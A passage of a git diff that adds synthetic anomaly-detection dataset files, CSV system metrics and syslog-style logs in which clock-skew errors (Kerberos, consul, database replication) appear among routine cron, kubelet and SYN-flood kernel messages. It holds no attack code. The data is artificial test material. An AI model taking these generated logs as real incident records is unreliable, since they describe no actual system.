+2025-07-16T10:03:20Z,18.23,43.38,24.82,0.93,0.94 +2025-07-16T10:03:25Z,12.88,45.4,30.84,1.26,0.67 +2025-07-16T10:03:30Z,15.49,39.39,28.37,1.31,1.09 +2025-07-16T10:03:35Z,14.23,46.6,22.32,0.85,0.94 +2025-07-16T10:03:40Z,16.45,40.35,34.26,1.19,1.13 +2025-07-16T10:03:45Z,16.49,35.05,19.89,0.87,0.91 +2025-07-16T10:03:50Z,15.56,39.74,24.87,0.81,0.88 +2025-07-16T10:03:55Z,14.9,42.23,29.54,1.06,0.94 +2025-07-16T10:04:00Z,14.21,35.09,14.72,0.73,0.86 +2025-07-16T10:04:05Z,16.37,41.46,25.92,1.29,0.88 +2025-07-16T10:04:10Z,17.59,43.05,18.24,1.39,1.02 +2025-07-16T10:04:15Z,15.31,44.89,27.12,1.19,0.84 +2025-07-16T10:04:20Z,15.98,37.3,31.22,1.08,0.86 +2025-07-16T10:04:25Z,12.68,37.87,25.96,1.27,0.89 +2025-07-16T10:04:30Z,14.8,40.52,38.3,1.28,0.86 +2025-07-16T10:04:35Z,14.19,40.31,38.65,0.98,0.89 +2025-07-16T10:04:40Z,14.7,35.19,35.42,1.08,0.77 +2025-07-16T10:04:45Z,15.66,39.62,22.56,1.39,0.62 +2025-07-16T10:04:50Z,14.25,41.72,25.6,1.01,0.88 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+2025-07-16T10:06:35Z,14.83,48.64,29.89,1.01,0.98 +2025-07-16T10:06:40Z,11.51,40.67,16.82,0.81,0.71 +2025-07-16T10:06:45Z,14.77,41.66,35.92,0.88,0.85 +2025-07-16T10:06:50Z,16.9,39.25,27.7,1.14,1.09 +2025-07-16T10:06:55Z,16.86,42.03,28.71,0.89,0.94 +2025-07-16T10:07:00Z,15.34,36.9,36.26,0.89,0.92 +2025-07-16T10:07:05Z,15.56,40.77,36.0,1.02,1.06 +2025-07-16T10:07:10Z,13.25,38.12,36.02,1.05,1.1 +2025-07-16T10:07:15Z,14.66,40.6,33.48,1.13,0.63 +2025-07-16T10:07:20Z,13.66,40.93,33.35,1.32,0.89 +2025-07-16T10:07:25Z,14.99,39.93,26.19,0.82,1.42 diff --git a/anom_dataset/scenario_16/anom_16_14.log b/anom_dataset/scenario_16/anom_16_14.log new file mode 100644 index 0000000000000000000000000000000000000000..0206073eceddfc3a22c359197f22c35b9df9d616 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_14.log @@ -0,0 +1,49 @@ +Jul 16 10:00:00 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:20 server-1 web-app[1882]: GET /api/v1/health status=200 OK +Jul 16 10:00:40 server-1 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:00 server-1 web-app[1882]: GET /api/v1/health status=200 OK +Jul 16 10:01:20 server-1 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:40 server-1 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 10:02:00 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 16 10:02:20 server-1 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 10:02:40 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 16 10:03:00 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:08:23 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:08:28 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:08:33 server-1 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:08:38 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:08:48 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:08:58 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:09:08 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:09:13 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:09:18 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:09:23 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:09:28 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:09:33 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:09:38 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:09:43 server-1 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 10:09:48 server-1 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:09:53 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:09:58 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:10:03 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:10:13 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:10:18 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:10:23 server-1 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 10:10:28 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:10:33 server-1 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:10:38 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:10:43 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:10:48 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:10:53 server-1 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 10:11:08 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:11:13 server-1 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:11:18 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:11:28 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:11:38 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:11:43 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:12:03 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:12:08 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:12:13 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:12:18 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:12:23 server-1 kerberos_auth[3101]: ERROR Clock skew too great for user 'svc_prod_user' (303s > 300s) +Jul 16 10:12:28 server-1 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_16/anom_16_15.csv b/anom_dataset/scenario_16/anom_16_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..4c4c6c1d97c6f8395b1903ff96907146d972708a --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,16.37,52.08,17.23,1.01,1.06 +2025-08-15T14:00:05Z,13.77,42.29,27.85,1.19,0.86 +2025-08-15T14:00:10Z,14.61,49.12,23.92,1.24,0.76 +2025-08-15T14:00:15Z,13.62,45.07,33.3,1.08,0.96 +2025-08-15T14:00:20Z,13.21,47.56,28.37,1.08,0.73 +2025-08-15T14:00:25Z,15.14,48.35,26.6,1.06,0.92 +2025-08-15T14:00:30Z,13.88,47.69,32.52,0.86,0.8 +2025-08-15T14:00:35Z,13.84,44.59,35.01,1.19,1.04 +2025-08-15T14:00:40Z,15.78,45.83,35.15,1.47,0.94 +2025-08-15T14:00:45Z,10.85,46.57,19.36,1.0,0.75 +2025-08-15T14:00:50Z,11.78,42.31,31.01,1.29,0.75 +2025-08-15T14:00:55Z,12.53,49.64,30.96,1.3,0.87 +2025-08-15T14:01:00Z,18.61,41.82,31.53,1.1,0.82 +2025-08-15T14:01:05Z,17.44,43.71,34.92,1.21,0.5 +2025-08-15T14:01:10Z,17.01,46.77,23.59,1.12,0.66 +2025-08-15T14:01:15Z,16.06,40.85,24.9,1.06,0.75 +2025-08-15T14:01:20Z,15.19,42.15,29.91,1.07,0.98 +2025-08-15T14:01:25Z,15.84,42.74,23.64,1.33,0.67 +2025-08-15T14:01:30Z,14.56,45.22,39.05,1.14,0.71 +2025-08-15T14:01:35Z,13.87,45.21,24.67,1.31,0.83 +2025-08-15T14:01:40Z,13.75,46.31,21.78,1.33,0.6 +2025-08-15T14:01:45Z,16.71,45.9,27.21,0.84,0.75 +2025-08-15T14:01:50Z,12.35,48.13,23.04,1.13,0.61 +2025-08-15T14:01:55Z,12.93,45.96,28.49,1.41,0.69 +2025-08-15T14:02:00Z,19.66,46.8,36.59,0.99,0.72 +2025-08-15T14:02:05Z,14.87,46.14,25.37,1.42,0.85 +2025-08-15T14:02:10Z,15.19,44.85,31.2,1.37,0.71 +2025-08-15T14:02:15Z,14.06,46.17,33.8,1.3,0.88 +2025-08-15T14:02:20Z,16.97,43.37,30.37,1.59,0.94 +2025-08-15T14:02:25Z,13.36,46.57,32.7,1.65,0.67 +2025-08-15T14:02:30Z,14.66,50.11,23.81,0.97,0.65 +2025-08-15T14:02:35Z,16.44,40.71,19.94,1.3,0.56 +2025-08-15T14:02:40Z,15.36,50.73,32.75,1.25,0.92 +2025-08-15T14:02:45Z,16.15,40.97,38.86,1.23,0.86 +2025-08-15T14:02:50Z,14.45,43.13,33.55,1.18,0.96 +2025-08-15T14:02:55Z,14.5,49.55,26.21,1.18,0.63 +2025-08-15T14:03:00Z,11.75,42.18,26.74,1.33,0.73 +2025-08-15T14:03:05Z,14.2,45.2,19.0,1.17,0.71 +2025-08-15T14:03:10Z,16.6,42.14,32.87,1.34,0.6 +2025-08-15T14:03:15Z,16.76,49.04,40.46,1.02,0.66 +2025-08-15T14:03:20Z,12.13,49.45,27.07,1.36,0.83 +2025-08-15T14:03:25Z,16.34,43.54,25.53,1.07,0.92 +2025-08-15T14:03:30Z,13.55,42.5,26.31,0.75,0.67 +2025-08-15T14:03:35Z,12.56,40.57,24.07,1.21,0.9 +2025-08-15T14:03:40Z,17.94,49.82,28.76,1.09,0.83 +2025-08-15T14:03:45Z,14.68,48.89,32.11,1.17,0.76 +2025-08-15T14:03:50Z,14.63,45.68,32.42,1.09,1.07 +2025-08-15T14:03:55Z,17.36,43.81,32.35,1.11,0.72 +2025-08-15T14:04:00Z,13.55,41.16,30.79,1.21,0.83 +2025-08-15T14:04:05Z,14.0,50.95,32.71,1.23,0.91 +2025-08-15T14:04:10Z,18.27,50.54,29.88,1.18,0.94 +2025-08-15T14:04:15Z,16.35,45.24,28.36,1.09,0.82 +2025-08-15T14:04:20Z,12.27,43.65,35.64,1.16,0.83 +2025-08-15T14:04:25Z,12.56,42.21,38.82,1.3,0.91 +2025-08-15T14:04:30Z,15.68,41.2,31.3,1.2,0.69 +2025-08-15T14:04:35Z,13.42,47.29,19.55,1.13,0.52 +2025-08-15T14:04:40Z,15.48,44.98,33.17,1.32,0.66 +2025-08-15T14:04:45Z,13.53,44.42,34.4,0.88,0.96 +2025-08-15T14:04:50Z,13.27,44.46,31.14,1.34,0.67 +2025-08-15T14:04:55Z,13.89,40.19,18.15,1.2,0.56 +2025-08-15T14:05:00Z,17.43,47.92,28.57,1.14,0.62 +2025-08-15T14:05:05Z,15.82,42.63,26.01,1.08,0.79 +2025-08-15T14:05:10Z,15.73,47.95,30.94,1.06,0.98 +2025-08-15T14:05:15Z,11.89,48.24,26.97,1.12,1.0 +2025-08-15T14:05:20Z,13.84,46.46,24.12,1.13,0.91 +2025-08-15T14:05:25Z,16.79,43.91,36.08,1.27,0.6 +2025-08-15T14:05:30Z,16.46,48.35,28.95,1.12,0.46 +2025-08-15T14:05:35Z,11.28,46.77,32.73,1.47,0.94 +2025-08-15T14:05:40Z,14.67,40.46,33.74,1.36,0.53 +2025-08-15T14:05:45Z,16.64,47.47,26.36,1.16,0.7 +2025-08-15T14:05:50Z,17.44,52.28,17.3,0.89,0.89 +2025-08-15T14:05:55Z,12.13,42.96,34.16,1.31,0.97 +2025-08-15T14:06:00Z,15.19,44.28,26.34,1.38,1.2 +2025-08-15T14:06:05Z,16.17,42.98,36.28,1.31,0.74 +2025-08-15T14:06:10Z,12.49,49.34,33.25,1.47,0.66 +2025-08-15T14:06:15Z,16.56,43.95,28.5,1.58,1.12 +2025-08-15T14:06:20Z,12.52,48.84,30.07,1.13,0.99 +2025-08-15T14:06:25Z,16.47,43.6,28.68,1.16,0.7 +2025-08-15T14:06:30Z,16.55,41.3,36.34,0.89,0.88 +2025-08-15T14:06:35Z,11.49,46.83,31.16,1.15,0.82 +2025-08-15T14:06:40Z,17.51,45.91,33.84,1.26,0.77 +2025-08-15T14:06:45Z,15.12,42.22,33.67,1.14,0.88 +2025-08-15T14:06:50Z,14.37,47.52,32.83,1.5,0.77 +2025-08-15T14:06:55Z,12.92,42.64,30.58,1.17,0.71 +2025-08-15T14:07:00Z,13.82,42.36,27.44,1.16,0.67 +2025-08-15T14:07:05Z,14.51,49.77,24.2,1.13,0.66 +2025-08-15T14:07:10Z,19.07,43.01,23.65,1.33,0.78 +2025-08-15T14:07:15Z,13.39,43.87,27.68,1.15,0.95 +2025-08-15T14:07:20Z,17.69,47.81,30.28,1.07,0.69 +2025-08-15T14:07:25Z,14.07,45.09,22.74,0.99,0.68 diff --git a/anom_dataset/scenario_16/anom_16_15.log b/anom_dataset/scenario_16/anom_16_15.log new file mode 100644 index 0000000000000000000000000000000000000000..64c005ca5c7cea7be7ae127657e4569f3412c363 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_15.log @@ -0,0 +1,90 @@ +Aug 15 14:00:00 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:00:05 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:00:10 server-1 kernel: [18345.67] aic79xx: Target 5 negotiation failed. +Aug 15 14:00:15 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:00:20 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:00:25 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:00:30 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:00:35 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:00:40 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:00:45 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:00:50 server-1 kernel: [18345.67] aic79xx: Target 5 negotiation failed. +Aug 15 14:00:55 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:01:00 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:01:05 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:01:10 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:01:15 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:01:20 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:01:25 server-1 kernel: [18345.67] aic79xx: Target 5 negotiation failed. +Aug 15 14:01:30 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:01:35 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:01:40 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:01:45 server-1 kernel: [18345.67] aic79xx: Target 5 negotiation failed. +Aug 15 14:01:50 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:01:55 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:02:00 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:02:05 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:02:10 server-1 kernel: [18345.67] aic79xx: Target 5 negotiation failed. +Aug 15 14:02:15 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:02:20 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:02:25 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:02:28 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:02:31 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:02:34 server-1 kernel: [18345.67] aic79xx: Target 5 negotiation failed. +Aug 15 14:02:37 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:02:40 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:02:43 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:02:46 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:02:49 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:02:52 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:02:55 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:02:58 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:03:01 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:03:04 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:03:07 server-1 kernel: [18345.67] aic79xx: Target 5 negotiation failed. +Aug 15 14:03:10 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:03:13 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:03:16 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:03:19 server-1 consul[1888]: [WARN] agent: Coordinate update blocked by clock skew +Aug 15 14:03:22 server-1 auth-service[2155]: ERROR Kerberos authentication failed for 'user@REALM': Clock skew too great +Aug 15 14:03:25 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:03:28 server-1 consul[1888]: [WARN] agent: Coordinate update blocked by clock skew +Aug 15 14:03:31 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:03:34 server-1 consul[1888]: [WARN] agent: Coordinate update blocked by clock skew +Aug 15 14:03:37 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:03:40 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:03:43 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:03:46 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:03:49 server-1 db-replicator[5543]: FATAL: Handshake with primary failed. Clock difference exceeds threshold. +Aug 15 14:03:52 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:03:55 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:03:58 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:04:01 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:04:04 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:04:07 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:04:10 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:04:13 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:04:16 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:04:19 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:04:22 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:04:25 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:04:28 server-1 CRON[6011]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:04:31 server-1 consul[1888]: [WARN] agent: Coordinate update blocked by clock skew +Aug 15 14:04:34 server-1 auth-service[2155]: ERROR Kerberos authentication failed for 'user@REALM': Clock skew too great +Aug 15 14:04:37 server-1 web-app[3102]: GET /api/v1/status status=200 OK +Aug 15 14:04:40 server-1 auth-service[2155]: ERROR Kerberos authentication failed for 'user@REALM': Clock skew too great +Aug 15 14:04:43 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:04:46 server-1 consul[1888]: [WARN] agent: Coordinate update blocked by clock skew +Aug 15 14:04:49 server-1 kubelet[1123]: INFO Liveness probe for pod 'api-gateway-xyz' succeeded. +Aug 15 14:04:52 server-1 db-replicator[5543]: FATAL: Handshake with primary failed. Clock difference exceeds threshold. +Aug 15 14:04:55 server-1 auth-service[2155]: ERROR Kerberos authentication failed for 'user@REALM': Clock skew too great +Aug 15 14:04:58 server-1 sshd[5892]: Accepted publickey for user admin from 10.0.2.15 port 55422 ssh2: RSA SHA256:... +Aug 15 14:05:01 server-1 db-replicator[5543]: FATAL: Handshake with primary failed. Clock difference exceeds threshold. +Aug 15 14:05:04 server-1 auth-service[2155]: ERROR Kerberos authentication failed for 'user@REALM': Clock skew too great +Aug 15 14:05:07 server-1 api-gateway[4321]: WARN Downstream service validation failed: Token expired. Check for clock skew. +Aug 15 14:05:10 server-1 consul[1888]: [WARN] agent: Coordinate update blocked by clock skew +Aug 15 14:05:13 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:05:16 server-1 auth-service[2155]: ERROR Kerberos authentication failed for 'user@REALM': Clock skew too great +Aug 15 14:05:19 server-1 systemd[1]: Starting session-c2.scope for user root. +Aug 15 14:05:22 server-1 db-replicator[5543]: FATAL: Handshake with primary failed. Clock difference exceeds threshold. +Aug 15 14:05:25 server-1 web-app[3102]: GET /api/v1/status status=200 OK diff --git a/anom_dataset/scenario_16/anom_16_16.csv b/anom_dataset/scenario_16/anom_16_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..3555e79b739c9eb8e2bc0cb86d8df651fdbc2b73 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,9.18,36.98,30.63,0.94,0.95 +2025-07-16T10:00:05Z,16.15,44.07,30.31,0.98,0.77 +2025-07-16T10:00:10Z,15.99,39.96,32.73,1.02,0.8 +2025-07-16T10:00:15Z,12.23,37.67,32.54,1.36,0.87 +2025-07-16T10:00:20Z,11.86,32.1,34.19,1.21,0.41 +2025-07-16T10:00:25Z,16.2,52.7,28.35,1.19,0.54 +2025-07-16T10:00:30Z,17.32,48.91,27.9,0.95,1.06 +2025-07-16T10:00:35Z,11.99,48.05,31.34,0.99,0.42 +2025-07-16T10:00:40Z,15.49,45.99,26.01,0.9,0.66 +2025-07-16T10:00:45Z,15.38,33.96,33.57,1.15,0.82 +2025-07-16T10:00:50Z,23.19,39.72,32.32,1.2,0.65 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+2025-07-16T10:02:35Z,16.06,33.45,30.35,1.06,0.58 +2025-07-16T10:02:40Z,13.21,42.78,37.78,0.83,0.88 +2025-07-16T10:02:45Z,13.94,37.42,30.36,0.58,0.75 +2025-07-16T10:02:50Z,13.79,39.79,31.79,1.43,0.58 +2025-07-16T10:02:55Z,14.55,36.31,28.94,0.68,0.57 +2025-07-16T10:03:00Z,9.39,39.55,26.16,1.11,1.12 +2025-07-16T10:03:05Z,13.84,44.25,31.79,0.99,0.65 +2025-07-16T10:03:10Z,17.85,44.87,28.65,1.01,1.08 +2025-07-16T10:03:15Z,23.94,41.62,27.78,0.96,0.99 +2025-07-16T10:03:20Z,19.84,45.63,25.86,0.83,0.84 +2025-07-16T10:03:25Z,11.82,49.0,30.67,1.16,0.57 +2025-07-16T10:03:30Z,15.74,38.99,28.69,1.21,0.99 +2025-07-16T10:03:35Z,13.85,50.99,23.86,0.75,0.84 +2025-07-16T10:03:40Z,17.18,40.58,33.4,1.09,1.03 +2025-07-16T10:03:45Z,17.24,31.75,21.91,0.77,0.81 +2025-07-16T10:03:50Z,15.83,39.56,25.89,0.71,0.78 +2025-07-16T10:03:55Z,14.86,43.71,29.64,0.96,0.84 +2025-07-16T10:04:00Z,13.81,31.81,17.77,0.63,0.76 +2025-07-16T10:04:05Z,17.06,42.43,26.73,1.19,0.78 +2025-07-16T10:04:10Z,18.88,45.08,20.59,1.29,0.92 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+2025-07-16T10:05:55Z,18.98,42.12,28.42,1.13,1.05 +2025-07-16T10:06:00Z,15.97,36.23,33.76,0.68,0.57 +2025-07-16T10:06:05Z,11.81,47.02,28.77,0.97,1.4 +2025-07-16T10:06:10Z,16.71,46.44,26.36,0.89,0.62 +2025-07-16T10:06:15Z,15.48,40.95,26.39,1.0,1.04 +2025-07-16T10:06:20Z,18.04,42.25,38.62,1.06,1.06 +2025-07-16T10:06:25Z,13.27,45.77,35.97,1.12,0.66 +2025-07-16T10:06:30Z,13.5,38.44,27.78,1.01,0.92 +2025-07-16T10:06:35Z,14.75,54.41,29.91,0.91,0.88 +2025-07-16T10:06:40Z,9.76,41.12,19.46,0.71,0.61 +2025-07-16T10:06:45Z,14.66,42.77,34.74,0.78,0.75 +2025-07-16T10:06:50Z,17.85,38.75,28.16,1.04,0.99 +2025-07-16T10:06:55Z,17.79,43.39,28.97,0.79,0.84 +2025-07-16T10:07:00Z,15.51,34.83,35.01,0.79,0.82 +2025-07-16T10:07:05Z,15.83,41.28,34.8,0.92,0.96 +2025-07-16T10:07:10Z,12.38,36.87,34.82,0.95,1.0 +2025-07-16T10:07:15Z,14.48,41.0,32.78,1.03,0.53 +2025-07-16T10:07:20Z,12.99,41.55,32.68,1.22,0.79 +2025-07-16T10:07:25Z,14.99,39.88,26.95,0.72,1.32 diff --git a/anom_dataset/scenario_16/anom_16_16.log b/anom_dataset/scenario_16/anom_16_16.log new file mode 100644 index 0000000000000000000000000000000000000000..7f89b3abb1ebf58ade5d822b1ddf5f6044ca7fbe --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_16.log @@ -0,0 +1,90 @@ +Jul 16 10:00:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:00:05 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:00:10 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:00:15 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:00:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:00:25 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:00:30 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:00:45 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 16 10:00:50 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 16 10:01:00 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:01:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:10 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:01:15 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:01:20 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:01:25 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:01:30 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:01:35 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:50 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:01:55 